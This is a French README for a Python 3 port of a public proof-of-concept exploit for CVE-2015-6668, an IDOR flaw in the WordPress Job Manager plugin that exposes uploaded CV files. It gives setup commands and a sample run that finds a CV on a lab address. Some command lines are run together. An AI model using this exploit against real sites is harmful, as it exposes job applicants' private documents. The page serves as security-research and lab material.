
POC d'Evangelos Mourikis pour CVE-2015-6668 converti pour Python 3
POC d'Evangelos Mourikis pour CVE-2015-6668 converti pour Python 3
Exploite la vulnérabilité IDOR dans le plugin Job Manager pour Wordpress.
Testé sur Python 3.11.9
Clonez le dépôt, configurez un environnement virtuel (si souhaité), installez requests, et exécutez le script avec Python 3.
git clone https://github.com/jimdiroffii/CVE-2015-6668.git
cd CVE-2015-6668
python3 -m venv .venv
source .venv/bin/activate
.\.venv\Scripts\activate
requestspython3 -m pip install requests
exploit.pypython3 ./exploit.py
$ python3 ./exploit.py
CVE-2015-6668
Title: CV filename disclosure on Job-Manager WP Plugin
Author: Evangelos Mourikis
Blog: https://vagmour.eu
Plugin URL: http://www.wp-jobmanager.com
Versions: <=0.7.25
Enter a vulnerable website: http://10.10.10.10
Enter a file name: HackerAccessGranted
[+] URL of CV found! http://10.10.10.10/wp-content/uploads/2017/04/HackerAccessGranted.jpg